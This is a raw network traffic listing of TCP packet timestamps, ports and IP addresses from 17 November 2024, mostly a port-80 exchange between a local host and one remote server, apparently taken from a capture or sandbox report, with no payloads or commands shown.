Nov 17, 2024 10:07:41.843075991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843110085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843122005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843131065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843148947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843149900 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843159914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843173981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843179941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843184948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843190908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843197107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843202114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843206882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843211889 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843216896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843242884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843261003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843261957 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843272924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843282938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843283892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843295097 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843296051 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843317032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843323946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843347073 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843362093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843373060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843384981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843389988 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843400955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843410969 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843430042 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843455076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843465090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843477011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843502998 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843508005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843513966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843521118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843545914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843569994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843718052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843728065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843739033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843769073 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843780994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843796968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843810081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843821049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843832016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843844891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843847036 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843858004 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843869925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843893051 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843893051 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843924999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843944073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843955994 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843965054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843966961 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843980074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843986988 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.843990088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.843997002 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844005108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844017029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844024897 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844024897 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844026089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844046116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844046116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844058037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844075918 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844084978 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844089985 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844094992 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844100952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844113111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844115019 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844125032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844142914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844150066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844151974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844161987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844173908 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844175100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844182968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844187021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844202995 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844223976 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844283104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844294071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844310999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844321966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844324112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844336033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844346046 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844353914 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844355106 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844362974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844368935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844379902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844391108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844400883 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844400883 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844413996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844419956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844425917 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844434023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844438076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844450951 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844454050 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844464064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844485998 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844505072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844513893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844523907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844532967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844544888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844548941 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844556093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844567060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844567060 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844578028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844585896 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844589949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844602108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844603062 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844613075 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844614983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844636917 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844638109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844645023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844656944 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844669104 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844679117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844688892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844691992 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844712973 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844719887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844849110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844861031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844871998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844883919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844894886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844902992 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844904900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.844914913 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844949007 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.844991922 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845030069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845047951 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845060110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845068932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845071077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845082998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845089912 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845094919 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845101118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845108986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845119953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845124006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845133066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845140934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845151901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845158100 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845165014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845175982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845185995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845185995 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845196962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845216036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845217943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845217943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845217943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845236063 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845237970 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845246077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845259905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845261097 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845271111 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845272064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845285892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845304012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845304012 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845307112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845319033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845319986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845330000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845330954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845340967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845343113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845356941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845364094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845366955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845386982 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845392942 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845397949 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845407963 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845410109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845422029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845431089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845437050 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845437050 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845448017 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845462084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845470905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845474005 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845482111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845487118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845499039 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845509052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845509052 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845519066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845520020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845535040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845544100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845545053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845556021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845571995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845581055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845585108 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845585108 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845592976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845606089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845609903 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845619917 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845624924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845633984 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845645905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845654011 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845659971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845665932 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845674038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845681906 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845685005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845695972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845696926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845709085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.845731974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.845751047 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.874613047 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.913440943 CET	443	49975	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.913578987 CET	443	49975	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.913801908 CET	49975	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.914458990 CET	49975	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.914477110 CET	443	49975	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.937541962 CET	443	49974	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.938303947 CET	49974	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.938388109 CET	443	49974	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.938543081 CET	49974	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.949884892 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.950428009 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.950488091 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.950638056 CET	443	49973	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:41.950680971 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.950726986 CET	49973	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:41.953397036 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.953804970 CET	49976	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.953830004 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.954324007 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.954654932 CET	49976	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.954736948 CET	443	49976	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:41.955631971 CET	49976	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:41.960100889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960167885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960252047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960263968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960277081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960288048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960293055 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960299969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960313082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960325956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960326910 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960355043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960355997 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960367918 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960376024 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960387945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960397005 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960407019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960411072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960419893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960433006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960438967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960447073 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960450888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960463047 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960469007 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960479021 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960484028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960496902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960496902 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960508108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960510969 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960520029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960531950 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960536003 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960547924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960558891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960562944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960570097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960582972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960591078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960604906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960611105 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960622072 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960625887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960638046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960649014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960649967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960661888 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960664034 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960674047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960686922 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960691929 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960699081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960711956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960716963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960726023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960726976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960743904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960756063 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960763931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960774899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960779905 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960788965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960800886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960804939 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960824013 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960832119 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960836887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960844994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:41.960849047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960860968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:41.960876942 CET	49892	80	192.168.2.6	185.215.113.206
